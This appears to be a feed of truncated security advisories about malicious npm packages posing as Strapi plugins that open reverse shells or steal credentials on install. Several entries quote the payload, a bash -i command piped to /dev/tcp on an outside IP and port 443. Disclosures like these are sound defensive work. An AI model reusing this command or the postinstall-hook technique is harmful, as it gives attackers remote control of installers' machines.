Malicious code in strapi-plugin-yesccresh-meeb (npm)

Source: amazon-inspector 4b4fa4d6fa3f37bcc5179aecbcb365bc73d94ac1cb799ac4f93fa4702292b493 package.json declares postinstall: node postinstall.js, which unconditionally spawns bash with stdio redirected to /dev/tcp/14.225.210.85/443, giving the remote endpoint interactive command execution as the...

Malicious Package

Overview strapi-plugin-revsh-meeb322k is a malicious package. This package contains malicious code, and its content was removed from the official package manager. While this package might be attempting to impersonate a valid organization, there is no connection between that organization and this...

Malicious code in strapi-plugin-weccresh-meeb (npm)

Source: amazon-inspector 4b4a6e3de6177f265d44cf7317b020dbaed43907a0ed75b05ae0fe4eebaab469 The package's postinstall.js also declared as main executes automatically on npm install and performs bulk host reconnaissance and credential theft against the installer. It captures os.hostname and...

Malicious code in strapi-plugin-revs01-meeb322k (npm)

Source: amazon-inspector 981b426b3809283ad517caf0032d403db2c479faa3c717620151cbfabcc9b81c [email protected] ships a postinstall lifecycle script scripts.postinstall = node postinstall.js that spawns /bin/bash via childprocess.exec and runs bash -i /dev/tcp/14.225.210.85/443 0&1,...

Malicious code in strapi-plugin-ccresh-meeb (npm)

Source: amazon-inspector 5c91c798c5a3429b252f74193e2a84c6406347ced8fa9010bdd7d338af5c8797 The package's postinstall lifecycle script scripts.postinstall: node postinstall.js unconditionally invokes /bin/bash with an interactive reverse-shell payload at install time: bash -c 'bash -i...

Malicious Package

Overview strapi-plugin-resh-meeb322k is a malicious package. This package contains malicious code, and its content was removed from the official package manager. While this package might be attempting to impersonate a valid organization, there is no connection between that organization and this...

Malicious Package

Overview strapi-plugin-weccresh-meeb is a malicious package. This package contains malicious code, and its content was removed from the official package manager. While this package might be attempting to impersonate a valid organization, there is no connection between that organization and this...

Malicious Package

Overview strapi-plugin-yayccresh-meeb is a malicious package. This package contains malicious code, and its content was removed from the official package manager. While this package might be attempting to impersonate a valid organization, there is no connection between that organization and this...

Malicious code in strapi-plugin-resh-meeb322k (npm)

Source: amazon-inspector 3016b01076e22e0a7bfd8e255bb5a5e03bdfe776f0dc16e60878210b5335fd42 [email protected] declares a postinstall lifecycle script that executes postinstall.js on npm install. The script invokes bash -c 'bash -i /dev/tcp/14.225.210.85/443 0&1', opening an...

Malicious Package

Overview strapi-plugin-sucresh-meeb is a malicious package. This package contains malicious code, and its content was removed from the official package manager. While this package might be attempting to impersonate a valid organization, there is no connection between that organization and this...

Malicious Package

Overview strapi-plugin-plsresh-meeb is a malicious package. This package contains malicious code, and its content was removed from the official package manager. While this package might be attempting to impersonate a valid organization, there is no connection between that organization and this...

Malicious Package

Overview strapi-plugin-proccresh-meeb is a malicious package. This package contains malicious code, and its content was removed from the official package manager. While this package might be attempting to impersonate a valid organization, there is no connection between that organization and this...

Malicious Package

Overview strapi-plugin-yesccresh-meeb is a malicious package. This package contains malicious code, and its content was removed from the official package manager. While this package might be attempting to impersonate a valid organization, there is no connection between that organization and this...

Malicious code in strapi-plugin-uicc-meeb (npm)

Source: amazon-inspector d393f18bab3c8fe1d9bea2d425d24d385657785e23cc053ac5e2c1c322f75129 postinstall.js is registered as both the npm postinstall hook and the package main. On install it polls os.hostname every 3 seconds and, when the hostname matches the hardcoded value 'ubuntu-fc-uvm', spawns...

Malicious code in strapi-plugin-revs02-meeb322k (npm)

Source: amazon-inspector 5b50be7098a50f4a7fc673fdffe7a06ab9ce182fdca04a8ee9cd448f66c9a6b1 The package declares scripts.postinstall pointing at postinstall.js, whose top-level code executes bash -c 'bash -i /dev/tcp/14.225.210.85/443 0&1', opening an interactive reverse shell from the installer's...

Malicious Package

Overview strapi-plugin-revs-meeb322k is a malicious package. This package contains malicious code, and its content was removed from the official package manager. While this package might be attempting to impersonate a valid organization, there is no connection between that organization and this...

Malicious Package

Overview strapi-plugin-rs-meeb322k is a malicious package. This package contains malicious code, and its content was removed from the official package manager. While this package might be attempting to impersonate a valid organization, there is no connection between that organization and this...

Malicious Package

Overview strapi-plugin-ccresh-meeb is a malicious package. This package contains malicious code, and its content was removed from the official package manager. While this package might be attempting to impersonate a valid organization, there is no connection between that organization and this...

Malicious Package

Overview strapi-plugin-uicc-meeb is a malicious package. This package contains malicious code, and its content was removed from the official package manager. While this package might be attempting to impersonate a valid organization, there is no connection between that organization and this packa...

Malicious Package

Overview strapi-plugin-revs01-meeb322k is a malicious package. This package contains malicious code, and its content was removed from the official package manager. While this package might be attempting to impersonate a valid organization, there is no connection between that organization and this...